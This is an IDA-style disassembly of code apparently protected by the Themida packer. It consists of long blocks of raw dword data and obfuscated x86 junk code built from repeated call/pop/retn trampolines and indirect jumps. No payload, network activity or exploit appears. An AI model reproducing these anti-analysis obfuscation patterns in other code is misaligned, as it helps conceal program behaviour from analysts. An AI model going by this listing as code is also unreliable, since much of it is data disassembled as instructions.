		dd 1322C1BDh, 840F0006h, 57Ch, 169DB58Bh, 8D8D0613h, 6131B21h
		dd 1F2DB58Bh, 1C70613h,	44B27C84h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 7BC35545h, 29598FBCh, 1321D98Dh
		dd 0CB018106h, 6A1499CFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 7363C355h, 91435F2Bh
		dd 1A820Fh, 0E8560000h,	12h, 9DB42C51h,	669453EAh, 3DB5DF6Fh
		dd 3225AA1Ch, 5E5F15E2h, 340441C7h, 8BCE706Bh, 44181F3h
		dd 31D6D710h, 7E8h, 3FBBEB00h, 0A8528FEFh, 163D8D01h, 6A5F0613h
		dd 0F38B6600h, 1B21858Dh, 85310613h, 6131985h, 0FE890h
		dd 0D8D90000h, 0F4057006h, 8149FD6Fh, 5212E173h, 138F0F4Dh
		dd 0E9000000h, 0Eh, 1253E8E6h, 0DE37195Ch, 66705119h, 505F5C73h
		dd 90FB8B66h, 9E5B58Bh,	95FF0613h, 6131179h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 59C35646h, 4212F17Dh
		dd 0B9666033h, 56607CA7h, 14E958h, 0E2710000h, 417C7D52h
		dd 0AF115987h, 64BB52E8h, 4693B53Dh, 61610950h,	1B218D8Dh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 6089D3C3h, 1C7h, 800F0000h, 5, 11F78166h
		dd 441C749h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5BB2A6
; ---------------------------------------------------------------------------
		db 0C8h, 75h, 57h
		dd 1A639DEh
		db 0E0h, 63h
; ---------------------------------------------------------------------------


loc_5BB2A6:				; CODE XREF: Themida_:005BB298j
		or	eax, eax
		jz	loc_5BB2F8
		movsx	edi, dx
		lea	ecx, [ebp+6134F8Dh]
		jmp	loc_5BB2CF
; ---------------------------------------------------------------------------
		dd 724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h
		db 0F6h, 0B2h, 0C3h
; ---------------------------------------------------------------------------


loc_5BB2CF:				; CODE XREF: Themida_:005BB2B7j
		mov	eax, 5
		mov	si, cx
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5BB2E4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB2E4	proc near		; CODE XREF: Themida_:005BB2DCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5BB2E4	endp

; ---------------------------------------------------------------------------
		dd 0F091BEF0h
; ---------------------------------------------------------------------------


loc_5BB2F8:				; CODE XREF: Themida_:005BB2A8j
		lea	ecx, [ebp+6131B21h]
		push	0
		push	ebx
		call	sub_5BB309
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB309	proc near		; CODE XREF: Themida_:005BB301p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5BB309	endp

; ---------------------------------------------------------------------------
		cld
		sub	ah, [esi-42h]
		sar	byte ptr [ecx+727C01C7h], 0AAh
		inc	esp
		push	0
		push	ebx
		call	sub_5BB330
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB330	proc near		; CODE XREF: Themida_:005BB328p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BB330	endp

; ---------------------------------------------------------------------------
		dd 0AB9FB2Eh, 557036FDh, 830FC953h, 0
; ---------------------------------------------------------------------------
		add	dword ptr [ecx], 1499CFCBh
		mov	di, cx
		mov	[ebp+6132B35h],	edx
		mov	dword ptr [ecx+4], 0CE78753Ch
		push	0
		push	ebx
		call	sub_5BB371
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB371	proc near		; CODE XREF: Themida_:005BB369p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5BB371	endp

; ---------------------------------------------------------------------------
		mov	edi, 4418137h
		adc	bh, dl
		setalc
		xor	[edx+0], ebp
		push	eax
		call	sub_5BB395
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB395	proc near		; CODE XREF: Themida_:005BB38Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5BB395	endp

; ---------------------------------------------------------------------------
		db 1Bh,	93h, 2Ch
		dd 1ABDC99Eh, 218D3183h, 6A061323h, 8DF98B00h, 131B2185h
		dd 1F810F06h, 0F000000h, 198Eh,	13E800h, 0C9D30000h, 0A8F896D8h
		dd 0B8315DADh, 8D51ECA2h, 0BEBFA67Fh, 0E9505EE6h, 10h
		dd 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh,	0E9240489h
		dd 0Ch,	1164CF02h, 0B7C0C10Ch, 0FA34241Ch, 117995FFh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0B3A39C3h, 0ADB58Bh,	0F38B0613h, 1B218D8Dh, 6A0613h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 4353E7C3h, 1C7h, 0BD230000h,	613304Dh, 441C7h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B5BC350h, 130D61BDh, 0FC00B06h, 5F84h, 8D8DF800h
		dd 6134F8Dh, 0EA59D89h,	5B80613h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 2232C350h, 68F0Fh, 0E6810000h, 51FAABh, 6AE1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C06C35C3h, 0A223BDE8h, 1B218D8Dh, 6A0613h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0FD8765C3h, 1B8D3591h, 1C7CE8Fh, 54CA95A5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 4AC35646h, 0FAB7FE59h
		dd 718589AFh, 81061320h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 790802B6h
		dd 0A9F8CDB1h, 441C713h, 0CE5F5969h, 44181FCh, 31D6D710h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BEC35646h
		dd 5156006Ah, 858D5F5Fh, 6131B21h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0FBC35646h,	0C5488D10h, 3DB58916h
		dd 50061319h, 13E8h, 4A47EB00h,	572685D3h, 0FAD10159h
		dd 680B3A39h, 0F6DB58Fh, 2404895Eh, 117995FFh, 0BD8B0613h
		dd 6131991h, 1B218D8Dh,	5E90613h, 0B8000000h, 1C98C78Bh
		dd 1C7h, 0B5230000h, 61315D5h, 441C7h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 1BE3C353h, 860FA1B5h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	loc_5BB69C
		push	0
		push	edi
		call	sub_5BB65B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB65B	proc near		; CODE XREF: Themida_:005BB653p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BB65B	endp

; ---------------------------------------------------------------------------
		jnb	short loc_5BB6D3
		mov	esi, edi
		lea	ecx, [ebp+6134F8Dh]
		mov	eax, 5
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5BB687
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB687	proc near		; CODE XREF: Themida_:005BB67Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5BB687	endp

; ---------------------------------------------------------------------------
		db 0D0h
		dd 3A1D4784h
; ---------------------------------------------------------------------------


loc_5BB69C:				; CODE XREF: Themida_:005BB64Aj
		add	ecx, edx
		jmp	near ptr dword_5BA7F4+10Fh
; ---------------------------------------------------------------------------
		db 0E8h
		dd 10h,	0EAFEC251h, 8486D6B6h, 0F397C1ADh, 63FDF98Dh, 34BDBD89h
		dd 5F500613h, 6AC18B5Fh, 3E85300h, 20000000h, 895BC35Bh
; ---------------------------------------------------------------------------
		pop	esp
		and	al, 4


loc_5BB6D3:				; CODE XREF: Themida_:005BB66Bj
		add	dword ptr [esp+4], 14h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 0E972h
		dd 0Ah,	2D35B1B1h, 2366A036h, 4EB7CBDh,	0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+61310E9h]
		mov	edi, ecx
		push	0
		push	edi
		call	sub_5BB707
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB707	proc near		; CODE XREF: Themida_:005BB6FFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5BB707	endp

; ---------------------------------------------------------------------------
		db 6Fh
		dd 0E4E801DEh, 3880F7Ah, 0F000000h, 858DF0BFh, 6131EA9h
		dd 15E59D31h, 0BE90613h, 53000000h, 76DF5AF0h, 0DB34538Ah
		dd 509030C2h, 185CBF52h, 310F5F2Dh, 5AFA8B66h, 0E9905058h
		dd 8, 2458401Eh, 4E2D1D60h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9589CFC3h
		dd 613232Dh, 1CC9BD89h,	6A0613h, 0FDAAB2BFh, 0CF858D4Bh
		dd 8B0616F5h, 1334E1BDh, 61BD8B06h, 83061309h, 0B53105C0h
		dd 6132835h, 3A94BF57h,	505F139Eh, 2519BF66h, 6A240489h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0FE921h,	536F0000h, 0AC44508Bh, 0B0CF308h
		dd 80C98B2Ah, 6A006A84h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 58AFC357h, 0EFBA9FDDh
		dd 113DBD89h, 0E9600613h, 9, 96978E7Ch,	63CB4D0Dh, 0D0BF0FE9h
		dd 0F195FF61h, 6A061307h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 917DC357h, 33BBDFB5h
		dd 4BBF6652h, 9D8D5FDDh, 616A36Ah, 68F0Fh, 0BD8B0000h
		dd 61316EDh, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0FFDAA8C3h, 1316D985h, 6840F06h
		dd 29000000h, 132CD9B5h, 8B4E906h, 0E80000h, 5D000000h
		dd 0F5D9ED81h, 0BD030616h, 61311D9h, 0B21BD81h,	7D00613h
		dd 860F0000h, 185h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 2AC35747h, 80603DF6h,	61F539F7h, 0E472EF81h
		dd 9D8B0D4Ah, 6131111h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0C6C35242h, 2FE84259h, 0C8A27C08h, 0E381C3h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 3830C351h, 8B5B3A69h, 130521BDh
		dd 0FDB0B06h, 0B085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0E9F78B5Bh, 5,	73F78E9Ch
		dd 26BD831Fh, 616F4h, 3A840Fh, 0C6810000h, 7CD59D4h, 2A258D89h
		dd 75E90613h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0A404C356h,	33E2184Fh
		dd 99BD8B51h, 5F06132Ah, 0F42685C7h, 10616h, 810F0000h
		dd 0Ah,	4890Fh,	0BF660000h, 2DE9E5E9h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 3650C352h, 0F28B6650h, 2685C75Fh, 616F4h, 0F9000000h
		dd 11119D8Dh, 81500613h, 1D6623D6h, 23815F24h, 0FFFFFEFFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 75C35040h
		dd 27B378Ch, 0E341C0DBh, 8BF98B8Dh, 1314E1BDh, 0DB8C6606h
		dd 2BA1BD03h, 0C3F60613h, 69840F04h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0E644C352h, 0D70167CDh, 0FFFE3558h, 13211195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0CCDF7060h, 9D31A288h, 6131B79h, 0F78B5690h,	850F505Fh
		dd 6, 6076B660h, 0BF906161h, 665CE412h,	490E9h,	9B58B00h
		dd 0B0061305h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0D59978FFh, 6A70E643h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 6A5DC356h, 8EF4FE44h, 0FBCD83Fh, 71E4F6BFh
		dd 1119B58Bh, 0B60F0613h, 55006AD8h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0F79B8F2Eh
		dd 0E45800F6h, 6BABDAAh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E110C356h
		dd 5AA43191h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 5C6AC5C3h, 14E9h, 93543700h, 0AA59DEF7h
		dd 39BC6D50h, 0B92185E4h, 0C1532D40h, 0C28B60FDh, 61FBB70Fh
		dd 304E8C1h, 131335B5h,	1BD8B06h, 66061315h, 0BE9E2F7h
		dd 0AB000000h, 6BB97AE6h, 7E41753Ah, 0D82BB119h, 1BA19D89h
		dd 52500613h, 0AE8h, 8916A900h,	75C08F4Dh, 5E2A7BDFh, 241C895Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h
		dd 89B0236Bh, 1334B18Dh, 21B5FF06h, 6A06130Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B42DC352h, 9E945DCh, 0E0000000h, 0F40931DCh, 0FD880D33h
		dd 0DA995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 6BF776C3h, 6035B2C8h, 13F5BD8Bh
		dd 0B00613h, 0EE8h, 57EE2300h, 48A5C651h, 3E7FD5EDh, 5EE5A157h
		dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0E952A1C3h, 0Ah, 404A42B3h, 16E5B4D4h, 0E45E987Dh
		dd 1DB58971h, 3C06131Bh, 8E830F61h, 6A000002h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 8EBAC356h, 0B8295E25h, 0DE81666Ah, 0B60F1DA2h, 98589D8h
		dd 0BA061307h, 6, 4C68160h, 2B38E28Ch, 1300D995h, 0C38B6106h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 68C35242h
		dd 0B50B3B52h, 61306C9h, 8E26D781h, 0E8C15FEBh,	53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0EC0373BBh, 0DF816A20h, 33CB5225h, 66E2F766h, 89E6A0BFh
		dd 1311619Dh, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 9290C353h, 38FFA8DAh
		dd 58F0B70Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0D6C35646h, 0F3816019h,	3CF85228h, 6850Fh, 8E0F0000h
		dd 0
; ---------------------------------------------------------------------------
		popa
		sub	ebx, eax
		js	loc_5BBF55
		adc	si, 6079h
		mov	ecx, 7
		push	0
		push	edx
		call	sub_5BBDE2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBDE2	proc near		; CODE XREF: Themida_:005BBDDAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5BBDE2	endp

; ---------------------------------------------------------------------------
		inc	ebp
		mov	edi, [ebp+61312ADh]
		add	ecx, 0
		push	0
		push	esi
		call	sub_5BBE07
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE07	proc near		; CODE XREF: Themida_:005BBDFFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5BBE07	endp

; ---------------------------------------------------------------------------
		sbb	[ecx-10h], edi
		add	[edx+1E65BD29h], dl
		adc	eax, [esi]
		mov	si, di
		cmp	ebx, ecx
		jbe	loc_5BBF55
		push	0
		push	edx
		call	sub_5BBE38
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE38	proc near		; CODE XREF: Themida_:005BBE30p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5BBE38	endp

; ---------------------------------------------------------------------------
		xor	esi, [esi]
		sahf
		push	ebx
		enter	0FFFF816Ah, 0Eh
		jmp	loc_5BBE69
; ---------------------------------------------------------------------------
		db 0AFh, 6, 2Dh
		dd 0DF13CA89h, 289A9349h, 9EA5C46Dh, 0F021AAC0h
; ---------------------------------------------------------------------------
		pop	eax


loc_5BBE69:				; CODE XREF: Themida_:005BBE50j
		mov	cx, ds
		mov	esi, 1E1B8560h
		xor	edi, 520444A4h
		test	cl, 4
		jz	loc_5BBF36
		push	0
		push	edi
		call	sub_5BBE8B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE8B	proc near		; CODE XREF: Themida_:005BBE83p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5BBE8B	endp

; ---------------------------------------------------------------------------
		mov	cl, 3Ch
		push	edx
		inc	edi
		dec	ebx
		mov	ds:211195FFh, gs
		adc	eax, [esi]
		pop	ebx
		push	0
		push	edx
		call	sub_5BBEB4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBEB4	proc near		; CODE XREF: Themida_:005BBEACp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5BBEB4	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		mov	ds:0DC5F5EA3h, eax
		xchg	dh, [edx+6AC32Bh]
		push	ebp
		call	sub_5BBED9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBED9	proc near		; CODE XREF: Themida_:005BBED1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5BBED9	endp

; ---------------------------------------------------------------------------
		db 64h,	3Dh, 34h
		dd 0F000008h, 4186h, 7E800h, 509C0000h,	0D17B7C0Fh, 9D2960ACh
		dd 6130DD1h, 61C4F580h,	43E95Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 712244C3h
		dd 5E4FBA7Fh
		db 53h,	88h
; ---------------------------------------------------------------------------


loc_5BBF36:				; CODE XREF: Themida_:005BBE7Aj
		mov	eax, eax
		push	0
		push	edi
		call	sub_5BBF43
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBF43	proc near		; CODE XREF: Themida_:005BBF3Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5BBF43	endp

; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------
		inc	eax


loc_5BBF55:				; CODE XREF: Themida_:005BBDC7j
					; Themida_:005BBE27j
		mov	eax, ebx
		mov	ebx, eax
		mov	dword ptr [ebp+61309CDh], 5AFE07DFh
		push	0
		push	edx
		call	sub_5BBF6E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBF6E	proc near		; CODE XREF: Themida_:005BBF66p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5BBF6E	endp

; ---------------------------------------------------------------------------
		dw 0FD5h
		dd 1F89h, 13E800h, 0F8920000h, 3D24AE4h, 562A1CBDh, 0E37C5733h
		dd 53E41F5Eh, 8A0F2Eh, 5F000000h, 0B589C08Bh, 6131415h
		dd 0B21BD81h, 7D00613h,	850F0000h, 2Dh,	2185FFFCh, 6A06130Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0A968C353h, 5759B5E3h, 608DB812h,	21B5FFF9h
		dd 6A06130Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0DC43C353h, 0FF01F18Ah, 130DA995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 23BDF35h, 8B660A1Bh, 6A90F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894D29C3h
		dd 1304FDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0AA6E4A78h, 1387A2Fh, 131AC1BDh
		dd 9A13BE06h, 6A0873h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E0DB62C3h, 0C731727Dh, 858D292Eh
		dd 6A061323h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 70DC352h, 65579227h, 6A32B726h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 60A7C356h, 25498D33h, 95890613h, 6130DD9h
		dd 62D9D89h, 0EB810613h, 59CBEF81h, 0FE96061h, 9A000000h
		dd 85007989h, 0B4A89935h, 261BDE69h, 0B58B431Dh, 6130DBDh
		dd 30D8BB66h, 9DBD8B61h, 6006132Fh, 23D78166h, 359D896Ah
		dd 89061319h, 130FD5BDh, 53E96106h, 2BFFFFF7h, 13307DBDh
		dd 0C18BFC06h, 0C258589h, 8D290613h, 613299Dh, 4EBh, 8B0F0000h
		dd 6, 176DBD2Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 1E39A6C3h, 0F03E2EFEh
		dd 0A9858D1Fh, 8B06131Eh, 130DA5B5h, 0C6816606h, 5090197Bh
		dd 0EE85152h, 0C1000000h, 0B500C90Bh, 0A26B41F8h, 0CE3D1FADh
		dd 0F5E5F3Eh, 50585A31h, 4E4ABF66h, 7DB58B90h, 6A06130Ah
		dd 0C98D8900h, 6A06131Ah, 0AD8D8900h, 8D06130Bh, 17003285h
		dd 0F28B6606h, 5605C083h, 2C058D89h, 905E0613h,	14E9h
		dd 2297FA00h, 157D5512h, 4B272655h, 5B36162Ch, 0AF2057A7h
		dd 14E85041h, 0DA000000h, 9FBAAF13h, 30DDBBB1h,	0DE3428ABh
		dd 46C620F8h, 0E940226Dh, 8, 11758AC8h,	73B89833h, 8B60905Eh
		dd 91950BC1h, 61061310h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 68CADCC3h, 5FBCAB14h
		dd 6ABF1DEAh, 870F00h, 0FF000000h, 1307F195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 2EF322BEh, 0D1910119h, 0BD8B7FEAh, 61323A5h,	0A36A9D8Dh
		dd 0BF660616h, 0D3FF3C60h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0CFC35747h, 3DB0BE66h, 16D985FFh, 6A0613h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0D4F58CC3h, 6D8D892Bh, 66061323h, 89C4D681h,	81BE9h
		dd 0E800h, 815D0000h, 17003CEDh, 0F08B6606h, 0B21BD81h
		dd 7D00613h, 860F0000h,	16Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 9FC35545h, 6399D8Bh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D8902C3h, 6130F01h,	100E381h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E5AF44C3h
		dd 0C70BA7BFh, 0F9BD8B18h, 0B061320h, 0A8850FDBh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0F35AC352h, 0DE9C6h, 0FE720000h, 38D0861Ah
		dd 0E9786F89h, 835E6934h, 16FE98BDh, 840F0006h,	49h, 0D850360h
		dd 0F06131Bh, 684h, 0D1B58900h,	61061306h, 81E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 2ABBD854h, 7A01C09Bh, 81BD8B1Ah, 2306132Bh, 1305B1BDh
		dd 9885C706h, 10616FEh,	0E9000000h, 8, 0D66AB7EEh, 48F64F42h
		dd 35E9h, 898D3100h, 0C7061301h, 16FE9885h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 54725ECCh, 0F7B1A3ECh, 9D8D6BBCh, 6130639h, 8BF28B66h
		dd 1313C9BDh, 0FF238106h, 9FFFFFEh, 1328C99Dh, 0DB8C6606h
		dd 13E9h, 7E155C00h, 0AA6A2385h, 5EFB1503h, 1F9DF327h
		dd 0BE34C82Dh, 0F04C3F6h, 5384h, 9858900h, 0FF06131Eh
		dd 13211195h, 9BD8B06h,	9006132Dh, 88A0Fh, 800F0000h, 2
		dd 9050F28Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	0DAC35747h, 59327264h, 17FA4F96h, 830Fh, 0B5330000h
		dd 61325D9h, 3E9E9h, 580FBE00h,	0B0729Bh, 11E8h, 922C0700h
		dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0F98BE959h, 6A70E65Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0C05AC353h, 0DE9CB096h, 7D86B150h, 16218D29h
		dd 71E40613h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	77C35545h, 4A6B691Bh, 17DF019Fh, 0F18B66A0h, 66D8B60Fh
		dd 6BAF38Bh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 23BBC350h, 0E2DE5E80h
		dd 3F484709h, 8BF88B66h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 8E911h, 63880000h, 993E69D4h
		dd 0E8C14CA3h, 919D0904h, 6606130Fh, 0BD89E2F7h, 61331A9h
		dd 0BF0FD82Bh, 525093F8h, 8E9935Eh, 0E4000000h,	8B379C97h
		dd 19C1084h, 1306C59Dh,	21B5FF06h, 106130Bh, 1317199Dh
		dd 0A995FF06h, 906130Dh, 130545B5h, 6A00B006h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0A022C351h, 0E99C91D2h, 8589E860h, 6131BA1h,	6A70E6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A560DCC3h, 60288822h, 0B618D89h, 0AE80613h,	1D000000h
		dd 3FFD1DB0h, 0C6DFEA31h, 0F0BF0F2Bh, 5FBE6159h, 0E4008F08h
		dd 3FB66071h, 0E8C9D3BFh, 613C6115h, 24C830Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 2CCDBDC3h, 0B58B1410h, 613015Dh, 0B1C68166h,	0D8B60FDCh
		dd 14E9h, 0BE9F0100h, 904C4C6h,	0BA0FFE61h, 0A24D1AFFh
		dd 685F3AFh, 6BADBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
